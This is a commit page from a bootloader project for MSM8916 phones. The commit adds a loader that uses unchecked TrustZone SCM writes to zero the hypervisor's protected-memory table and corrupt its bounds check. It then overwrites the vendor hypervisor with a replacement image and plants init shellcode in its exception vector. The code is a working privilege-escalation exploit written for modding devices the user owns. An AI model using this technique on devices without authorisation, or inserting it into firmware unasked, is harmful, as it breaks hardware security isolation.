Skip to content

Commit

Permalink
target: msm8916: Abuse firmware bugs to load qhypstub
Browse files Browse the repository at this point in the history
It's possible to abuse some scm calls that don't check if the write
destination is inside the hyp memory and corrupt the boundary check for
the hypervisor call that allows mapping memory to EL1. Then we can just
write arbitrary code into the hyp memory and it will replace the
hypervisor.
  • Loading branch information
TravMurav committed Jun 7, 2021
1 parent f72581b commit 4562184
Show file tree
Hide file tree
Showing 4 changed files with 207 additions and 0 deletions.
1 change: 1 addition & 0 deletions platform/msm8916/platform.c
Original file line number Diff line number Diff line change
Expand Up @@ -67,6 +67,7 @@ static mmu_section_t mmu_section_table[] = {
{ MIPI_FB_ADDR, MIPI_FB_ADDR, 10, COMMON_MEMORY},
{ SCRATCH_ADDR, SCRATCH_ADDR, 256, SCRATCH_MEMORY},
{ RPMB_SND_RCV_BUF, RPMB_SND_RCV_BUF, RPMB_SND_RCV_BUF_SZ, IOMAP_MEMORY},
{ 0x86400000, 0x86400000, 1, COMMON_MEMORY},
};


Expand Down
6 changes: 6 additions & 0 deletions target/msm8916/init.c
Original file line number Diff line number Diff line change
Expand Up @@ -93,6 +93,8 @@ static uint32_t mmc_sdhci_base[] =
static uint32_t mmc_sdc_pwrctl_irq[] =
{ SDCC1_PWRCTL_IRQ, SDCC2_PWRCTL_IRQ };

extern void target_try_load_qhypstub();

void target_early_init(void)
{
#if WITH_DEBUG_UART
Expand Down Expand Up @@ -217,6 +219,10 @@ void target_init(void)
ASSERT(0);
}

#if WITH_LK2ND
target_try_load_qhypstub();
#endif

#if LONG_PRESS_POWER_ON
shutdown_detect();
#endif
Expand Down
199 changes: 199 additions & 0 deletions target/msm8916/qhypstub_loader.c
Original file line number Diff line number Diff line change
@@ -0,0 +1,199 @@
#include <debug.h>
#include <scm.h>
#include <mmc.h>
#include <stdlib.h>
#include <string.h>
#include <partition_parser.h>

#define QHYPSTUB_SIZE 4096
#define QHYPSTUB_MAGIC 0x6275747370796871 // "qhypstub"

#define HYP_BASE 0x86400000
#define HYP_SIZE 0x100000
#define HYP_PROT_TB 0x864033c0
#define HYP_BND_A 0x86401532
#define HYP_OLD_VECT 0x86403800
#define HYP_NEW_VECT 0x86400800
#define HYP_PATCH_ADDR (HYP_OLD_VECT + 0x600)

static int scm_zero_dword(uint32_t target)
{
/* https://www.blackhat.com/docs/us-17/wednesday/us-17-Bazhaniuk-BluePill-For-Your-Phone.pdf */
scmcall_arg scm_arg = {
.x0 = 0x200030d,
.x1 = MAKE_SCM_ARGS(0x2,SMC_PARAM_TYPE_BUFFER_READWRITE),
.x2 = (uint32_t)target,
.x3 = sizeof(uint32_t)
};

return scm_call2(&scm_arg, NULL);
}

static int scm_randomize(uint32_t target, uint32_t len)
{
/* platform/msm_shared/scm.c */
scmcall_arg scm_arg = {
.x0 = MAKE_SIP_SCM_CMD(TZ_SVC_CRYPTO, PRNG_CMD_ID),
.x1 = MAKE_SCM_ARGS(0x2,SMC_PARAM_TYPE_BUFFER_READWRITE),
.x2 = (uint32_t)target,
.x3 = len
};

return scm_call2(&scm_arg, NULL);
}

static int hyp_map_mem(uint32_t target, uint32_t len)
{
/* https://source.codeaurora.org/quic/la/kernel/msm-3.10/tree/drivers/soc/qcom/hyp-debug.c?h=LA.BR.1.2.9.1-02310-8x16.0 */
scmcall_arg scm_arg = {
.hvc = true,
.x0 = 0x82000001, /* HVC_FN_DBG_MAP_RANGE */
.x1 = 0, /* target_hi */
.x2 = (uint32_t)target,
.x3 = 0, /* len_hi */
.x4 = len,
.x5 = (0b111 << 8 | 0xf << 4 | 0x0) /* perm=rwx cache=OWB_IWT share=NS */
};

return scm_call2(&scm_arg, NULL);
}

static int hyp_call(uint32_t x0)
{
int tmp;
scmcall_ret ret = {0};
scmcall_arg scm_arg = {
.hvc = true,
.x0 = x0,
};

tmp = scm_call2(&scm_arg, &ret);
dprintf(SPEW, "hyp_info: x1=0x%X (%d) x2=0x%X (%d) x3=0x%X (%d)\n",
ret.x1, ret.x1, ret.x2, ret.x2, ret.x3, ret.x3);
return tmp;
}

static int hyp_test()
{
scmcall_arg scm_arg = {
.hvc = true,
.x0 = MAKE_SIP_SCM_CMD(SCM_SVC_MILESTONE_32_64_ID, SCM_SVC_MILESTONE_CMD_ID),
};

return scm_call2(&scm_arg, NULL);
}

uint8_t hyp_init_patch[] =
{
/* Load new vector address from x0 call argument */
0x00, 0xc0, 0x1c, 0xd5, /* msr vbar_el2, x0 */
/* Disable EL2 MMU */
0x00, 0x10, 0x3c, 0xd5, /* mrs x0, sctlr_el2 */
0x00, 0x78, 0x7f, 0x92, /* and x0, x0, #0xFFFFFFFE */
0x00, 0x10, 0x1c, 0xd5, /* msr sctlr_el2, x0 */
/* return 0 */
0x00, 0x00, 0xe0, 0xd2, /* mov x0, #0x0 */
0xe0, 0x03, 0x9f, 0xd6, /* eret */
};

#define iciallu() __asm__ volatile ("mcr p15, 0, %0, c7, c5, 0" : : "r" (0) : "memory");

static void hyp_replace(void *payload, int payload_size)
{
int tmp, i = 0;
uint32_t *dat;

if (!is_scm_armv8_support()) {
dprintf(CRITICAL, "32-bit firmware, cannot load qhypstub. Sad :(\n");
return;
}

tmp = hyp_test();
dprintf(CRITICAL, "hvc: ret=0x%x (%d)\n", tmp, (int)tmp);
if (tmp != -2) {
dprintf(INFO, "qhypstub seems to be already running\n");
return;
}

dprintf(CRITICAL, "WARNING: Trying to replace the hyp!\n");

/* Attempt 1: zero out protected addr table */
scm_zero_dword(HYP_PROT_TB);
scm_zero_dword(HYP_PROT_TB + 8);
scm_zero_dword(HYP_PROT_TB + 16);

/* try to map hyp to EL1 */
tmp = hyp_map_mem(HYP_BASE, HYP_SIZE);
dprintf(SPEW, "hvc: ret=0x%x (%d)\n", tmp, (int)tmp);

if (tmp == -6) {
dprintf(SPEW, "Falling back to instruction patching\n");
for (i = 0; i < 10; i++) {
/* Attempt 2: Try to patch instructions that
* loads start/end of protected region */
scm_randomize(HYP_BND_A, 1);
scm_randomize(HYP_BND_A+4, 1);
iciallu();

tmp = hyp_map_mem(HYP_BASE, HYP_SIZE);
if (tmp != -6) break;
}
}

/* Fail if still can't map the address.
* At this point hyp is probably broken but we don't need it. */
if (tmp != 0) {
dprintf(CRITICAL, "Failed to map hyp memory. Strange firmware? :@\n");
return;
}

dprintf(INFO, "Patched hyp after %d attempts\n", i);

/* Overwrite hyp with qhypstub */
memcpy((void*)HYP_BASE, payload, payload_size);
/* Load init shell code into the old interrupt vector */
memcpy((void*)HYP_PATCH_ADDR, hyp_init_patch, 24);
iciallu();

/* Run init code to prepare qhypstub */
tmp = hyp_call(HYP_NEW_VECT);
dprintf(CRITICAL, "hvc: ret=0x%x (%d)\n", tmp, (int)tmp);
if (tmp == 0) {
dprintf(INFO, "qhypstub is now running. YAY! :)\n");
}
}

void target_try_load_qhypstub()
{
void *qhypstub_payload = NULL;
qhypstub_payload = malloc(QHYPSTUB_SIZE);
unsigned long long ptn = 0;
int index = INVALID_PTN;
bool magic_found = false;

index = partition_get_index("qhypstub");
ptn = partition_get_offset(index);
if(ptn == 0) {
dprintf(CRITICAL, "WARNING: No qhypstub partition found\n");
return;
}

if (mmc_read(ptn, (unsigned int *) qhypstub_payload, QHYPSTUB_SIZE)) {
dprintf(CRITICAL, "WARNING: Cannot read qhypstub image\n");
return;
}

for (int i = 0; i < QHYPSTUB_SIZE / 8; ++i) {
if (((uint64_t*)qhypstub_payload)[i] == QHYPSTUB_MAGIC) {
magic_found = true;
break;
}
}

if (!magic_found) {
dprintf(INFO, "qhypstub image lacks magic, not loading\n");
return;
}

hyp_replace(qhypstub_payload, QHYPSTUB_SIZE);
}
1 change: 1 addition & 0 deletions target/msm8916/rules.mk
Original file line number Diff line number Diff line change
Expand Up @@ -32,6 +32,7 @@ DEFINES += \

OBJS += \
$(LOCAL_DIR)/init.o \
$(LOCAL_DIR)/qhypstub_loader.o \
$(LOCAL_DIR)/meminfo.o \
$(LOCAL_DIR)/target_display.o \
$(LOCAL_DIR)/oem_panel.o

0 comments on commit 4562184

Please sign in to comment.